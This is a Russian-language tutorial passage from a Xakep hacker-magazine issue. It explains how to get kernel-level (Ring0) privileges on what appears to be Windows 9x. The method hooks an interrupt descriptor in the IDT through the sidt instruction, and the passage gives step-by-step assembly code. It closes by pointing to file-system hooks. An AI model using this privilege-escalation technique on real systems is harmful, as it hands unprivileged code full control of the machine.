Ring0 Shen (_shen_@mail.ru) Спецвыпуск Xakep, номер #035, стр. 035-062-4 Код Примерная последовательность действий: 1. Сохранить адрес старого обработчика. 2. Модифицировать IDT, подменив адрес обработчика на адрес нашей процедуры. 3. Вызвать перехваченное прерывание. 4. Посидеть в Ring0 :). 5. Восстановить адрес старого обработчика. Весь наш план основан на манипуляциях с IDT. Но мы ведь даже не знаем, где находится эта IDT, у нее нет фиксированного положения в памяти. Для этого в процессоре существует группа регистров, связанных с таблицами дескрипторов: GDTR, LDTR и IDTR. Нас, естественно, интересует последний. В нем хранится размер таблицы (правильнее, предел) и адрес ее начала. IDTR – регистр формата fword (word:dword), т.е. 6-байтный. Первые 16 разрядов занимает предел, все остальное – адрес. Нам потребуется только адрес, он находится в IDTR по смещению +2. К содержимому регистра нельзя обращаться напрямую, для этого существует привилегированная команда sidt (Save IDTr): idtr df 0 … sidt fword ptr [idtr] Теперь мы можем получить адрес начала IDT: idtr df 0 … sidt fword ptr [idtr] mov ebx,dword ptr [idtr+2] Пришло время разобраться с форматом дескрипторов прерываний. Всего 8 байт. Селектор сегмента и параметры мы трогать не будем, нас интересует только адрес, так и запомним: младшее слово адреса обработчика находится по смещению +0 от начала дескриптора, старшее - по +6. Как найти в IDT нужный дескриптор? У нас уже есть адрес начала таблицы, и мы знаем размер каждого дескриптора – что еще нужно? intnum equ 04h ; лучше перехватывать малоиспользуемые прерывания idtr df 0 ; сюда мы сохраним IDTR … sidt fword ptr [idtr] ; сохраняем IDTR в переменную idtr mov ebx,dword ptr [idtr+2] ; нам нужен адрес начала, а не предел add ebx,intnum*8 ; переходим на начало нужного дескриптора Все, теперь в ebx адрес дескриптора прерывания с номером 04h. Сохраним адрес оригинального обработчика: saved dd 0 ; сюда мы сохраним адрес старого обработчика … mov ax,word ptr [ebx+6] ; кладем в ax старшее слово адреса обработчика shl eax,16 ; сдвигаем его в старшее слово eax mov ax,word ptr [ebx] ; кладем в ax младшее слово адреса обработчика mov dword ptr [saved],eax ; сохраняем Заменим в дескрипторе адрес обработчика на адрес нашей процедуры: mov eax, offset ring0code ; кладем в ax смещение процедуры mov word ptr [ebx],ax ; заменяем младшее слово адреса shr eax,16 ; сдвигаем старшее слово eax в младшее mov word ptr [ebx+6],ax ; заменяем старшее слово адреса … ring0code: ; где-то здесь наша процедура Все! Торжественный момент – можно генерить прерывание! int intnum Мы в Ring0! ring0code: ; здесь мы можем делать что угодно, ; ведь мы уже в нулевом кольце! iret ; возвращаемся в обыденность Теперь пришла пора горьких разочарований. Попробуй вызвать из Ring0 функцию MessageBox. Попробуй и любуйся синим экраном с белыми надписями :). Дело в том, что Win32API, к которым относится MessageBox, доступны лишь на третьем, пользовательском, уровне. Ring0 предоставляет другие методы работы – VxD-сервисы. И, если вдуматься, то никаких разочарований быть не может – эти сервисы дают кодеру такие возможности, что ты уже никогда не сможешь заставить себя пользоваться API :). Чего стоит только установка обработчика файловой системы! |